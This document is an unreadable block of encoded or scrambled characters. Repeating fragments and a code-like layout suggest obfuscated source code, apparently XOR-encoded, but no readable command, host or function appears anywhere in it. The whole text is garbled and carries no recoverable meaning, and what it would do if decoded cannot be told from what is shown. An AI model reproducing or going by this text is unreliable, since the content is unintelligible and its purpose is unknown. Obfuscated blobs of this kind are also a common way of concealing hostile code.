JIB9QWYYY\CY_[_DX9^YAX \J^BXA E 9PJPAPlFK@UPJP@RADG ERWX9@R_KREEB]l_ADCXW\]
TKGK^XCY I9FPXIAP QRAARJ9U\AVRP[RQB[JPI\@TR@]U[IXWQCAQQH9@GlQGAEE ]U[IXWQCAQQZ]^ECVK\YDQI_TUZFPJPAPlFK@OODDlT[Z ED ]U[IXWQCAQQKWK_TUZF
@R_KREEB]9BR GTAJQGGP]DsE]AP@TR^\BG]U[IXWQCAQQ9ZUBR GTAJQGGP]DH999FPXIAP Qh]U[IXWQCAQQnBR GTAJQGGP]Dh_R
@lGEYPnOBR GTAJQGGP]DhDDlT[Z ED
n@GlQGAEE _TUZFE]AP@TR^\BG	99N9N9U\AVRP[l_ARI]KR\R@XVJYJA TYlXH9dcgRQ_Vq_\PXGVA^^VATV99IWD[lFKIJKR\UGI QZTW]FZ
U[DDlT[Z EDXVJ YJA TYlX9ZUIWD[lFKIOOE]AP@TR^\BGIWD[lFKI_R
@lGEYP IWD[lFKIE]AP@TR^\BGDDlT[Z ED9999FPXIAP QhXVJnIWD[lFKI9N9sFCWRGVl\CGZ\]E]AP@TR^\BGFPXIAP QDDlT[Z ED9NUZ]R__JH9U [AKZ GZDPVDTR]]F
_R
@lGEYP9N9NPRGP[g[A\DRQ_VTDKQ[VTBBQIH9999XJRP]KB[TE]AP@TR^\BGTDKQ[VTBBQI9NPRGP[vKPVCGZ\]TDKQ[VTBBQIH9N999N9999UF]PGZ\]JKR\UGI QZTW]FZ
U[]U[IXWQCAQQYJA TYlX999H9BR GTAJQGGP]Ds_R
@lGEYP]U[IXWQCAQQ9ZUBR GTAJQGGP]DAVGFA]9W[RVCClG[\^K]
BR GTAJQGGP]Dh_R
@lGEYPnOBR GTAJQGGP]DhE]AP@TR^\BG
n9ZUBR GTAJQGGP]Dh_TUZF
n
AVGFA]DDlT[Z EDW[RVCClG[\^K]
9JWF\WA\R__sDDlT[Z ED
]U[IXWQCAQQ999AVGFA]W[RVCClG[\^K]
ODDlT[Z EDJWF\WA\R___R
@lGEYP
JWF\WA\R__YJA TYlXUR_@V	9N9UF]PGZ\]_QEXAV@VBWXCTPJ
R9H9lCEE]AP@TR^\BGDDlT[Z EDTVGl\CGZ\]DDlT[Z ED	9999PE@UBTCTT_Q^W@ECE9@G@ICQlTF_R
@lGEYP_TUZFTVGl\CGZ\]_R
@lGEYP	9999ZU@G@ICQlTFlCEsWV_VGVl\CGZ\]_TUZF99N9UF]PGZ\]PE@UBTCTT_Q^W@ECE9H9GAJH9ZUWVUZ]VWE]AP@TR^\BG AVGFA]9Z]^ECVK\YDQIR\^]V JWXZ_9J]_CDYZKBBBVA
XCV@AY@^T9YDQADE^
@_^@DBQ
D\KCTWT^C^KB\rq`crg{DDlT[Z ED E]AP@TR^\BG 9XFWC
DAD_EG\]BQ
D\KCTWT^C^KB\rq`crg{E]AP@TR^\BG E]AP@TR^\BG9J[V_ W@BQ
D\KCTWT^C^KB\rq`crg{_TUZF  E]AP@TR^\BG9CYAY JEUCFEUBQ
D\KCTWT^C^KB\rq`crg{_R
@lGEYPm  _TUZF9YYI]PWBQ
D\KCTWT^C^KB\rq`crg{E]AP@TR^\BG_TUZF9Y^XDAUGDXI_TUZFBQ
D\KCTWT^C^KB\rq`crg{T
m9XI YU_RlRAARJ9Z]^ECVK\YDQIDDlT[Z ED DDlT[Z ED
9Z]^ECVK\YDQI_TUZFDDlT[Z ED99U\AVRP[XI YU_RlR@]U[IXWQCAQQCAVUZKH9ZUs_TUZF]U[IXWQCAQQP\]GZ]FV9JWF\WA\R__sE]AP@TR^\BG
]U[IXWQCAQQ9999ZUJWF\WA\R__UR_@VP\]GZ]FV9GFEWlBZAJ@QUQ_R
@lGEYP
CAVUZKDDlT[Z ED
CAVUZKE]AP@TR^\BG9_KAQXTAEE]AP@TR^\BG
GFEWlBZAJ@QUQJWF\WA\R__9ZU_KAQXTAEJWF\WA\R___Bl[
X^GYCY^P ]U[IXWQCAQQ_KAQXTAE9999N9Z@@BZ[QRD\_DYZ]^ECVK\YDQI_TUZF9ZUsE]AP@TR^\BGZ@@BZ[QRD\_DYH9999FA]J@ KQsE]AP@TR^\BGZ@@BZ[QRD\_DY9ZU_TUZFFA]J@ KQFA]J@ KQH9ZU_TUZF
DDlT[Z EDDDlT[Z EDFA]J@ KQOO_R
@lGEYP
FA]J@ KQE]AP@TR^\BG
H9QD^BPU^^^C \VZ@@BZ[QRD\_DY9D_[][\JlFKFCVGRUZ@@BZ[QRD\_DY9NV_@VH9RCWXKP\CYRPDDlT[Z ED
DDlT[Z EDFA]J@ KQ9ZUE]AP@TR^\BGRCWXKP\CYRPRCWXKP\CYRPFA]J@ KQ_Bl[
X^GYCY^P Z@@BZ[QRD\_DYRCWXKP\CYRP9F]@VGRCWXKP\CYRP9N9N9_VUGYF@GZUZVW99F]@VGFA]J@ KQ9999N9999Q \WlK DDlT[Z EDYDA[\
D@PQVUAV_TUZF9l_B[Y_UYWVUZ]VWDDlT[Z ED dclp|}gv}glwza_TUZF	Q \WlK 99DD@U [DT@TPVlRAARJ9Z]^ECVK\YDQIYDQADE^
@_^@D9Z]^ECVK\YDQIXFWC
DAD_EG\]9Z]^ECVK\YDQIJ[V_ W@999J]_CDYZKCYAY JEUCFEU9J]_CDYZKYYI]PW99J]_CDYZKXFWC
DAD_EG\]9J]_CDYZKJ[V_ W@9Q \WlK CYAY JEUCFEU9Q \WlK YYI]PW9999Q \WlK XFWC
DAD_EG\]9Q \WlK J[V_ W@9l_B[Y_UYCYAY JEUCFEU9l_B[Y_UYYYI]PW9l_B[Y_UYXFWC
DAD_EG\]9l_B[Y_UYJ[V_ W@9999Z^XAK@QFFXV KlYB
 R 9DD@U [DT@TPVlhnZ^XAK@QFFXhn9DD@U [DT@TPVlhnZ^XAK@QFFXhnE]AP@TR^\BG9F]@VGZ^XAK@QFFX9ZUDDlT[Z EDE]AP@TR^\BGH9U\AVRP[RAARJs_TUZFZ]^ECVK\YDQIDDlT[Z EDYDQADE^
@_^@DR@VVK_]K_ ]GPQA\DD@U [DT@TPVlhnVVK_]K_ ]GPQA\999U\AVRP[RAARJsE]AP@TR^\BGZ]^ECVK\YDQI_TUZFYDQADE^
@_^@DR@VVK_]K_ ]GPQA\DD@U [DT@TPVlhnVVK_]K_ ]GPQA\999U\AVRP[RAARJsDDlT[Z EDrq`crg{DDlT[Z EDY^XDAUGDXI_R
@lGEYP R@R\GX^PIYZ@X 
D\lDD@U [DT@TPVlhnR\GX^PIYZ@X 
D\l9U\AVRP[RAARJsE]AP@TR^\BGZ]^ECVK\YDQIY^XDAUGDXIDDlT[Z ED R@R\GX^PIYZ@X 
D\lDD@U [DT@TPVlhnR\GX^PIYZ@X 
D\l9U\AVRP[RAARJsDDlT[Z EDJ]_CDYZKY^XDAUGDXIDDlT[Z ED R@R\GX^PIYZ@X 
D\lDD@U [DT@TPVlhnR\GX^PIYZ@X 
D\l9U\AVRP[RAARJs_TUZFQ \WlK Y^XDAUGDXI_R
@lGEYP
R@R\GX^PIYZ@X 
D\lDD@U [DT@TPVlhnR\GX^PIYZ@X 
D\l9U\AVRP[RAARJsE]AP@TR^\BGl_B[Y_UYY^XDAUGDXI_R
@lGEYP
R@R\GX^PIYZ@X 
D\lDD@U [DT@TPVlhnR\GX^PIYZ@X 
D\l9N9B QA\KZ
QBQ
D\KCTWT^C^KB\rq`crg{TK K9UWBXGTRJRAARJrq`crg{_R
@lGEYPZ]^ECVK\YDQIJ]_CDYZKQ \WlK l_B[Y_UY9U\AVRP[UWBXGTRJR@lTWH99ZUsDDlT[Z ED 
lTWsE]AP@TR^\BG
lTW\ZVFJWG^Y_ AV QD
I]KlTW_R
@lGEYPB QA\KZ
QB
C\ZlAP^PVX_\G_^ZE]AP@TR^\BG
999N9ZUE]AP@TR^\BG
E]AP@TR^\BG
 H9U\AVRP[UWBXGTRJR@lTWH999U\AVRP[RAARJE]AP@TR^\BG
DDlT[Z ED
_R
@lGEYP
DDlT[Z ED
DDlT[Z ED
_TUZF
_TUZF

E]AP@TR^\BG_TUZFR@_PUDQ^JAYH9U\AVRP[RAARJsE]AP@TR^\BG
 lTW_PUDQ^JAYR@JD^C[AU
WDD@U [DT@TPVlhnJD^C[AU
W9999N9dcrERGRAq_\PX]VGD\AX\EVAAZWV9999U\AVRP[RAARJsDDlT[Z ED
 lTWDDlT[Z EDR@^Il I[QXIl\
@DD@U [DT@TPVlhn^Il I[QXIl\
@9999N9N9F]@VGB QA\KZ
QUWBXGTRJlTW_PUDQ^JAYJD^C[AU
W^Il I[QXIl\
@9\II@DIIlGERAARJrq`crg{_TUZFZ]^ECVK\YDQIE]AP@TR^\BG9U\AVRP[\II@DIIlGER@I K[D]RTH9ZUsE]AP@TR^\BG I K[D]RTP\]GZ]FV9JWF\WA\R__sE]AP@TR^\BGI K[D]RT999ZUJWF\WA\R__E]AP@TR^\BGJWF\WA\R__E]AP@TR^\BGUR_@VH9JWF\WA\R__E]AP@TR^\BG_TUZFDDlT[Z ED
 XFWC
DAD_EG\]E]AP@TR^\BGo]JWF\WA\R__9ZUDDlT[Z EDJWF\WA\R__H9JWF\WA\R__E]AP@TR^\BGDDlT[Z ED
_R
@lGEYP
 XFWC
DAD_EG\]DDlT[Z EDo]JWF\WA\R__9N9999ZUE]AP@TR^\BGJWF\WA\R__H9JWF\WA\R__DDlT[Z EDE]AP@TR^\BGDDlT[Z EDXFWC
DAD_EG\]DDlT[Z EDo]JWF\WA\R__9N9A\GRGVWZ@CRGP[VAU\Adcq_\PXgAR]@U\A^@99ZU_TUZFJWF\WA\R___Bl[
X^GYCY^P I K[D]RTJWF\WA\R__9N9N9999BIZK]K]rq`crg{E]AP@TR^\BG
9ZUs_TUZF BIZK]K]H9CJUGV\\[]C@\X_TUZFrq`crg{E]AP@TR^\BG9ZUsDDlT[Z ED CJUGV\\[]C@\XBIZK]K]CJUGV\\[]C@\X99N9ZUsDDlT[Z ED BIZK]K]s_R
@lGEYPBIZK]K]H99lDPsE]AP@TR^\BGBIZK]K]9ZU_R
@lGEYPlDP_TUZFlDP_R
@lGEYPUR_@VH9JIFRBBlXJ_R
@lGEYP_TUZF lDP9ZUE]AP@TR^\BGJIFRBBlXJJIFRBBlXJlDPZRG
\KYQ\R AXGJIFRBBlXJH9WK^_PKlJCCs_R
@lGEYPBIZK]K]9ZU_Bl[
X^GYCY^P BIZK]K]JIFRBBlXJWK^_PKlJCCsDDlT[Z EDBIZK]K]WK^_PKlJCC9N99F]@VGJIFRBBlXJWK^_PKlJCC9N9999F]@VGlDP9999N9F]@VGBIZK]K]CJUGV\\[]C@\X9UK[TTT\QDDlT[Z ED
_R
@lGEYP 
sDDlT[Z ED 
_R
@lGEYP	UR_@V9ZUUK[TTT\QOOUK[TTT\QUK[TTT\QE]AP@TR^\BG9KJ] U\C@YlB^RAARJrq`crg{UK[TTT\QZ]^ECVK\YDQIUK[TTT\Q9U\AVRP[KJ] U\C@YlB^R@TEVWZ^A
QQ
VH9ZUsE]AP@TR^\BG TEVWZ^A
QQ
VP\]GZ]FV9JWF\WA\R__sE]AP@TR^\BGTEVWZ^A
QQ
V9ZUJWF\WA\R___TUZFJWF\WA\R___TUZFUR_@VH9JWF\WA\R__E]AP@TR^\BGDDlT[Z ED_R
@lGEYPJ[V_ W@E]AP@TR^\BG
JWF\WA\R__999ZUE]AP@TR^\BGJWF\WA\R___Bl[
X^GYCY^P TEVWZ^A
QQ
VJWF\WA\R__9N9N9QPPT[D]RAARJ99Z]^ECVK\YDQIJ[V_ W@9J]_CDYZKJ[V_ W@9Q \WlK J[V_ W@99AQJPEF@EZVE]AP@TR^\BGDD@U [DT@TPVlQPPT[D]9U\AVRP[QPPT[D]R@K_@IF@\]EA
WH9ZUs_TUZF K_@IF@\]EA
WH9QD^BPU^^^C \VK_@IF@\]EA
W9_Bl[
X^GYCY^P K_@IF@\]EA
W_R
@lGEYP9N9N999U\AVRP[AQJPEF@EZVR@K_@IF@\]EA
WH9ZUsDDlT[Z ED K_@IF@\]EA
WH9QD^BPU^^^C \VK_@IF@\]EA
W
   999D_[][\JlFKFCVGRUK_@IF@\]EA
W9N9N9U\AVRP[AJ JTIJRAETARZCCKlClR@F_X[Y K]GJH9P\VAPVG\@GAZ]T99ZUs_R
@lGEYP F_X[Y K]GJOOsDDlT[Z EDF_X[Y K]GJP\]GZ]FV9JWF\WA\R__s_TUZFF_X[Y K]GJ9999ZUDDlT[Z EDJWF\WA\R__H9B^lP@K@^YTVAQT\TBX[I
^Q[TJWF\WA\R___TUZFE]AP@TR^\BG9B^lP@K@^YTVAQT\TBX[I
^Q[TB^lP@K@^YTVAQTDDlT[Z ED_TUZF9ZUDDlT[Z EDB^lP@K@^YTVAQTB^lP@K@^YTVAQTJWF\WA\R___Bl[
X^GYCY^P F_X[Y K]GJB^lP@K@^YTVAQT9F]@VGB^lP@K@^YTVAQT9999N9N9ZUDDlT[Z ED
_R
@lGEYPE]AP@TR^\BG_R
@lGEYP
H9CRGP[]\A^R_U\A^U\Az]G_VKGV]@Z\]99XVJBKI R_B
TRUZJJY9ZUXVJUR_@VH9KTV[I]AF DKs_TUZFXVJD9ZUKTV[I]AF DKH9sE]AP@TR^\BGKTV[I]AF DK999s_TUZFKTV[I]AF DK9N9F]^\F]GPFQZPAVGAJC\_ZPJ99N9N9ZUE]AP@TR^\BGDDlT[Z EDH9[JJA_D[ZITBQ
D\KCTWT^C^KB\rq`crg{_TUZF  m
 9sWV_VGVl\CGZ\][JJA_D[ZIT9AKV QA@]Z
ZDDDlT[Z ED
E]AP@TR^\BGsTVGl\CGZ\]_R
@lGEYP RAARJ	RAARJ999ZUE]AP@TR^\BG AKV QA@]Z
ZDH9ZUZ@@VGAKV QA@]Z
ZDhQnD_[][\JlFKFCVGRUAKV QA@]Z
ZDhQn9ZUZ@@VGAKV QA@]Z
ZDhDDlT[Z ED n_R
@lGEYP AKV QA@]Z
ZDhE]AP@TR^\BG nH9999U\AVRP[AKV QA@]Z
ZDh_TUZF nR@lPZH9ZUDDlT[Z ED lPZZ@@VGlPZhQnD_[][\JlFKFCVGRUlPZhQn9N99N9N9sWV_VGVl\CGZ\]E]AP@TR^\BG 9sWV_VGVl\CGZ\]_R
@lGEYP
^GKKXP_c{clz}gl~rkc{clz}gl~rkWW\BDJBKDB^GKKXP_999sWV_VGVl\CGZ\]E]AP@TR^\BG9sWV_VGVl\CGZ\]_R
@lGEYP  9sWV_VGVl\CGZ\]_R
@lGEYP999sWV_VGVl\CGZ\]_TUZF
9sWV_VGVl\CGZ\]E]AP@TR^\BG 9sWV_VGVl\CGZ\]_R
@lGEYP9F]@VGAKV QA@]Z
ZDlPZ9N9ZUDDlT[Z ED
_TUZF H999sWV_VGVlGAR]@ZV]GDDlT[Z ED 99sWV_VGVlGAR]@ZV]G_TUZF 9sWV_VGVlGAR]@ZV]GQAJXX
_CJ99N9ZUE]AP@TR^\BG DDlT[Z ED H9999sDClP_VRAl@P[VWF_VWl[\\X_R
@lGEYP 9999sDClP_VRAl@P[VWF_VWl[\\X_R
@lGEYP 9sDClP_VRAl@P[VWF_VWl[\\XJE_G]BUYZ@J\GJXW9N9NPRGP[g[A\DRQ_VTDKQ[VTBBQIH999XJRP]KB[TE]AP@TR^\BG 
TDKQ[VTBBQI9NPRGP[vKPVCGZ\]TDKQ[VTBBQIH9N9sV_Z^Z]RGVWZAVPG\A9999N9UF]PGZ\]UPJP@RADG ERWX9H99GAJHB@[ZXRPTc{clz}gl~rkc{clz}gl~rkDIY@Y]_BFB@[ZXRPT 9ZUWVUZ]VW_R
@lGEYP AVGFA]UR_@V9Z]^ECVK\YDQIR\^]V JWXZ_9]GD_F_ Z]^ECVK\YDQIE]AP@TR^\BG9AYRKTE\^_R
@lGEYPYDA[\
D@PQVUAV_TUZF9999[[_CC\A^IRIU]_R^BXF_[ \U R99ZU[[_CC\A^IROOE]AP@TR^\BG[[_CC\A^IROODDlT[Z ED[[_CC\A^IRK  
KUPPOOP\F\X^VJ CE[[_CC\A^IROOZRG
\KYQ\R AXG[[_CC\A^IRAVGFA]UR_@V9PFAAV]Gs_TUZF]GD_F_ sE]AP@TR^\BG]GD_F_ 	9ZU_TUZFPFAAV]GH9XJRP]KB[TE]AP@TR^\BG
_TUZF9AVGFA]UR_@V9N9dc{VRWZ]Tq_\PX	@GAV]TG[AVWFPV\CRBFVGJCV99PFAAV]GQYDlT@]@EWXY@ZT[YT\FYPFAAV]G9QAE]ZQ\\EJRUB
C\ZlAP^PVX_\G_^Z	BQ
D\KCTWT^C^KB\rq`crg{_TUZF 9EWFZYRIlQE]AP@TR^\BG QAE]ZQ\\EJRU_TUZF9T_^C[_R
@lGEYPQAE]ZQ\\EJRUDDlT[Z ED99@^BV^_F^BQ
D\KCTWT^C^KB\rq`crg{E]AP@TR^\BG 9YICFTGXE_R
@lGEYP_R
@lGEYP@^BV^_F^_TUZFPFAAV]G9WDlXI BDJ_R
@lGEYP
YICFTGXEE]AP@TR^\BGUR_@V9ZU_R
@lGEYP
PFAAV]GEWFZYRIlQUR_@VE]AP@TR^\BG
PFAAV]GT_^C[UR_@VWDlXI BDJAVGFA]GAFV99PFAAV]GDDlT[Z ED_TUZFYICFTGXE9ZU_TUZFPFAAV]GH9999XJRP]KB[TDDlT[Z ED
_R
@lGEYP9AVGFA]UR_@V999N9IVl\@G^WYZ\JVVD lKFAYl
999ZUIVl\@G^WYZAVGFA]UR_@V9FEJDZA_QYT TE]AP@TR^\BG _TUZFE]AP@TR^\BG AYRKTE\^@GAZ]TZIZ
Z\RY[KG9TG@
YBG][EGURYIQX 
FWI@UK9_R
@lGEYP9RAARJll`ftllllcftz}lqr`vlllltfrawl}r~vlllleva`z|}ll9RAARJAYRKTE\^IVl\@G^WYZFEJDZA_QYT TB
C\ZlAP^PVX_\G_^Z99ZUTG@
YBG][EH9ZUZ]GTVGl\CGZ\]_TUZFXJRP]KB[T_R
@lGEYPE]AP@TR^\BG9AVGFA]UR_@V9N9PFAAV]GQYDlT@]@EWXY@ZT[YT\FYPFAAV]G9VWRVKP[KQDDlT[Z EDE]AP@TR^\BGTG@
YBG][E9VDVAWFGIE]AP@TR^\BGPFAAV]G9ZUVDVAWFGIH9ZUK^K_BYK@^YIKP_TUZFH9XJRP]KB[TDDlT[Z EDE]AP@TR^\BG9AVGFA]UR_@V9N9ZUDZQEAXZYUl ZC
]GD_F_ PFAAV]GH9XJRP]KB[TE]AP@TR^\BG_TUZF9AVGFA]UR_@V9999N9BC EGVI^^ZGC^_R
@lGEYP9NV_@VH9ZUDZQEAXZYUl ZC
]GD_F_ H9XJRP]KB[TDDlT[Z ED_R
@lGEYP9AVGFA]UR_@V9N9N9AIKXV]V PPVV Z^FlQYAWUZ_IPTVPFAAV]GEWFZYRIlQo]VWRVKP[KQo]T_^C[9ZU_Bl[
X^GYCY^P ]GD_F_ AIKXV]V PPHETC]GZYYR
[V\C]\JBPETC]GZYYR9AVGFA]UR_@V999N9ZUVDVAWFGIPZZUJW[@
ClCF]GD_F_ 999AVGFA]GAFVRBW^AU^U[XKKU@UXZ
DGCJRBW^AU^U[X999NPRGP[g[A\DRQ_VTDKQ[VTBBQIH9XJRP]KB[T_R
@lGEYPTDKQ[VTBBQI999AVGFA]UR_@V9NPRGP[vKPVCGZ\]TDKQ[VTBBQIH9AVGFA]UR_@V9N9N9UF]PGZ\]AJ JTIJRAETARZCCKlCl99H99K
^^RPP^^EXERAARJ99ZUE]AP@TR^\BG DDlT[Z EDAVGFA]K
^^RPP^^EXE9R]BKIJ_Q\G@WVUZ]VWDDlT[Z ED
dclp|}gv}glwza	WVUZ]VW_R
@lGEYP rq`crg{_R
@lGEYP 	DDlT[Z ED9KCD \IA @Y\l@GAZ]TsTVGl\CGZ\]_R
@lGEYP999ZUKCD \IA @Y\lK
^^RPP^^EXEhnR]BKIJ_Q\G@KCD \IA @Y\lE]AP@TR^\BG9V@AZCYPYV]FG@ @GAZ]TsTVGl\CGZ\]E]AP@TR^\BG9ZUV@AZCYPYV]FG@ V@AZCYPYV]FG@ KCD \IA @Y\lK
^^RPP^^EXEhnR]BKIJ_Q\G@V@AZCYPYV]FG@ DDlT[Z ED9AVGFA]K
^^RPP^^EXE999N9UF]PGZ\]IR]YCVIYAGK^9H9GAJH9RGGRP[DVRXP\\AWZ]RG\A99ZUWVUZ]VW_R
@lGEYP OO_TUZF_TUZF AVGFA]9U\AVRP[AJ JTIJRAETARZCCKlClR@PZY \XCD\UJBH9T
@^@V
V[WBBBVA
XCV@AY@^T_R
@lGEYPBQ
D\KCTWT^C^KB\PZY \XCD\UJB
m_TUZF9ZUsE]AP@TR^\BGT
@^@V
V[WP\]GZ]FV9ZUs_R
@lGEYPPZY \XCD\UJBsE]AP@TR^\BGPZY \XCD\UJBP\]GZ]FV9TP
_]E]RQKs_TUZFT
@^@V
V[W9ZUDDlT[Z EDTP
_]E]RQKOOTP
_]E]RQKP\]GZ]FV9ZU_Bl[
X^GYCY^P PZY \XCD\UJBTP
_]E]RQKH9XJRP]KB[T_TUZF_R
@lGEYP9sFCWRGVl\CGZ\]_TUZF_R
@lGEYP_R
@lGEYP
9999N9N9NPRGP[g[A\DRQ_VTDKQ[VTBBQIH9ER_ZWRGV[VAV99XJRP]KB[T_TUZFTDKQ[VTBBQI9NPRGP[vKPVCGZ\]TDKQ[VTBBQIH9N9N9UF]PGZ\]l_ADCXW\]
TKGK^XCY I99H9GAJH9ZUWVUZ]VW_R
@lGEYPAVGFA]UR_@V9ECRGlAYKQ
DFKXAJ JTIJRAETARZCCKlCl9ZUV^CGJECRGlAYKQ
DFKXAVGFA]UR_@V9DTFIIR@KDZ]GTVGl\CGZ\]E]AP@TR^\BG9ZUDTFIIR@KD_TUZFDTFIIR@KD
   
 AVGFA]UR_@V9QAE]ZQ\\EJRUB
C\ZlAP^PVX_\G_^Z	BQ
D\KCTWT^C^KB\rq`crg{E]AP@TR^\BG999EWFZYRIlQDDlT[Z EDQAE]ZQ\\EJRU_TUZF9T_^C[E]AP@TR^\BGQAE]ZQ\\EJRU_R
@lGEYP999FEJDZA_QYT T_R
@lGEYP E]AP@TR^\BGDDlT[Z EDrq`crg{@GAZ]TZIZ
Z\RY[KG9AYRKTE\^DDlT[Z EDYDA[\
D@PQVUAV_TUZF9IVl\@G^WYZ\JVVD lKFAYl
9ZUIVl\@G^WYZAVGFA]UR_@V99REPUPAJ
RUUGURYIQX 
FWI@UK999_R
@lGEYP9RAARJll`ftllllcftz}lqr`vlllltfrawl}r~vlllleva`z|}ll9RAARJAYRKTE\^IVl\@G^WYZFEJDZA_QYT TB
C\ZlAP^PVX_\G_^Z999ZUREPUPAJ
RUUH9d\AWcAV@@AVEZ@Z\]@	QV]P[^RAXDZG]V@@99ZUZ]GTVGl\CGZ\]DDlT[Z EDXJRP]KB[T_TUZF_TUZF9AVGFA]UR_@V9N9d\AWcAV@@Z]GVARPGZEZGJRW^Z]@PAVV]99REPUPAJ
RUUE]AP@TR^\BGDDlT[Z EDREPUPAJ
RUU9ZUDDlT[Z EDREPUPAJ
RUUOOREPUPAJ
RUUAVGFA]UR_@V9U\AVRP[ECRGlAYKQ
DFKXR@F_X[Y K]GJH9ZUs_R
@lGEYPF_X[Y K]GJP\]GZ]FV9TlQZ@GZ[TlRE]AP@TR^\BGE]AP@TR^\BGs_R
@lGEYP
F_X[Y K]GJP	UR_@V9ZUTlQZ@GZ[TlRUR_@V_TUZF_TUZFsU_\PXTlQZ@GZ[TlR|pxlvk9PFAAV]Gs_R
@lGEYPF_X[Y K]GJ9ZU_R
@lGEYPPFAAV]GH9XJRP]KB[T_TUZFDDlT[Z ED99ZUTlQZ@GZ[TlRUR_@VH9dcq_\PXgAR]@U\A^@	P\^CFGRQ_VARGV_Z^ZGVA99ZUDDlT[Z EDE]AP@TR^\BGsU_\PXTlQZ@GZ[TlR|pxlf}9999sUP_\@VTlQZ@GZ[TlR9N9P\]GZ]FV9N9GAJH9ZU_R
@lGEYP PFAAV]G
PFAAV]GQYDlT@]@EWXY@ZT[YT\FYPFAAV]G9ZU_TUZF
PFAAV]GEWFZYRIlQUR_@V_TUZFPFAAV]GT_^C[UR_@VAVGFA]GAFV9ZUs_TUZFF_X[Y K]GJP\]GZ]FV9T
@^@V
V[WBBBVA
XCV@AY@^TE]AP@TR^\BGBQ
D\KCTWT^C^KB\F_X[Y K]GJ_R
@lGEYP99UJDUCFCBR
BQ
D\KCTWT^C^KB\rq`crg{DDlT[Z EDP][YGK@\Qc{clz}gl~rkc{clz}gl~rkTDIRE @WTEP][YGK@\Q9PFAAV]G\TBX[I
^Q[TPFAAV]GDDlT[Z ED_TUZF]_X
X_lE^EFU^\PK[WWT@]_X
X_lE^EFU^\9PFAAV]GDDlT[Z EDDDlT[Z ED PFAAV]G9ZUE]AP@TR^\BGPFAAV]GH9XJRP]KB[T_R
@lGEYPDDlT[Z ED9P\]GZ]FV9N9ZUE]AP@TR^\BG
PFAAV]GDDlT[Z ED
UR_@VOODDlT[Z ED
PFAAV]G_R
@lGEYPUR_@VH9]]V^KR JB][s_TUZFT
@^@V
V[WsDDlT[Z EDT
@^@V
V[W	UR_@V999ZUDDlT[Z ED]]V^KR JB][OO]]V^KR JB][H99XJRP]KB[T_R
@lGEYP_R
@lGEYP
9P\]GZ]FV999N9PFAAV]G]]V^KR JB][9999F]@VG]]V^KR JB][9N9@E
QK[]ZBF[EVBYFUE[QU
IPFAAV]G9ZU_R
@lGEYP
 @E
QK[]ZB@E
QK[]ZBH9@VEVWP_U
s_TUZFT
@^@V
V[WsE]AP@TR^\BG
T
@^@V
V[W	UR_@V9ZUDDlT[Z ED
 @VEVWP_U
OO@VEVWP_U
@E
QK[]ZB_Bl[
X^GYCY^P T
@^@V
V[W@E
QK[]ZB9F]@VG@VEVWP_U
9N9F]@VG@E
QK[]ZB99VKJGAADDK\@YGE]AP@TR^\BG9ZU_R
@lGEYP PFAAV]GE]AP@TR^\BG
PFAAV]G_R
@lGEYP
UR_@VDDlT[Z ED_R
@lGEYP
PFAAV]G_R
@lGEYP
HF^Q_A
c{clz}gl~rkc{clz}gl~rkAD[PD
TVF^Q_A
 9VKJGAADDK\@YG9N9IF@XKZJZZ]^@P^I_TUZF PFAAV]Go]	9A]
K_[Q
WIF@XKZJZZ]^@P^IVKJGAADDK\@YGEWFZYRIlQo]REPUPAJ
RUUo]T_^C[o]9ZUDZQEAXZYUl ZC
F_X[Y K]GJPFAAV]GH9XJRP]KB[TDDlT[Z ED_TUZF9P\]GZ]FV9N9999ZU_Bl[
X^GYCY^P F_X[Y K]GJPFAAV]GA]
K_[Q
WP\]GZ]FV9AVGFA]GAFV9NUZ]R__JH9ZUTlQZ@GZ[TlRUR_@VH9ZUE]AP@TR^\BG_TUZFsU_\PXTlQZ@GZ[TlR|pxlf}9sUP_\@VTlQZ@GZ[TlR9N9N9N9sC[ZZ]@VAGQR_R]PVA99AVGFA]UR_@V9NPRGP[g[A\DRQ_VTDKQ[VTBBQIH9XJRP]KB[TE]AP@TR^\BG
TDKQ[VTBBQI9999AVGFA]UR_@V9NPRGP[vKPVCGZ\]TDKQ[VTBBQIH9AVGFA]UR_@V9N9N9UF]PGZ\]XBPZ^EKEVUWGJ\]]9H9GAJH9ZUWVUZ]VWDDlT[Z EDAVGFA]9ZUWlQ^TGDA
Q[FBJJEYDA[\
D@PQVUAVAVGFA]9Z]^ECVK\YDQIR\^]V JWXZ_9YDQADE^
@_^@DBQ
D\KCTWT^C^KB\rq`crg{_R
@lGEYP DDlT[Z ED 999AYRKTE\^E]AP@TR^\BGYDA[\
D@PQVUAV_R
@lGEYP9[[_CC\A^IRIU]_R^BXF_[ \U R9ZU[[_CC\A^IROO_R
@lGEYP

[[_CC\A^IRH9XJRP]KB[TE]AP@TR^\BG_R
@lGEYP99AVGFA]9N9ZUDDlT[Z ED_R
@lGEYPAVGFA]9RQB[JPI\@TRAARJ9Z]^ECVK\YDQIYDQADE^
@_^@D9Z]^ECVK\YDQIDDlT[Z ED DDlT[Z EDDDlT[Z EDYDQADE^
@_^@D99CGIFW
Q
JZWVUZ]VWDDlT[Z ED
dclp|}gv}glwza	rq`crg{E]AP@TR^\BG E]AP@TR^\BG9ZUs_TUZF 
CGIFW
Q
JZH999^GWBDGWKB@C[Q\AJRU@DPJCGIFW
Q
JZ9ZU_R
@lGEYP ^GWBDGWKH9U\AVRP[^GWBDGWKR@TDKQ[VTBBQIH9^WZFYV XKY]ZCGIFW
Q
JZTDKQ[VTBBQI9ZUs_TUZF 
^WZFYV XKY]Zs_TUZF^WZFYV XKY]ZH9RQB[JPI\@Thn^WZFYV XKY]ZYDQADE^
@_^@D\]FUVB[AWQc{cl~ry|aleva`z|}XC_DTVT XU\]FUVB[AWQ9QAVRX9N9N99N9N9U\AVRP[RQB[JPI\@TR@]J\
J@TBlEV H9ZUsDDlT[Z ED]J\
J@TBlEV sE]AP@TR^\BG]J\
J@TBlEV K UKR
H9FlVW
UU[YDDlT[Z ED9ZU_R
@lGEYPFlVW
UU[YH9[^RFWBPWG\^_]VDFlVW
UU[Y9ZUs[^RFWBPWG\^_\CV]]J\
J@TBlEV GAFVH9[^RFWBPWG\^_P_\@V9P\]GZ]FV999N9N9N9^WX
]UZlGZUP]DDlT[Z ED]J\
J@TBlEV 9999ZUs_TUZF 
^WX
]UZlGZUP]BRFY @QI@lG^^WX
]UZlGZUP]
GAFVQB_WlYB^A
]l[YU[JA_QB_WlYB^A9FlVW
UU[Y_R
@lGEYP9QP\]_X]@FIJER FCWFJ\^^WX
]UZlGZUP]_R
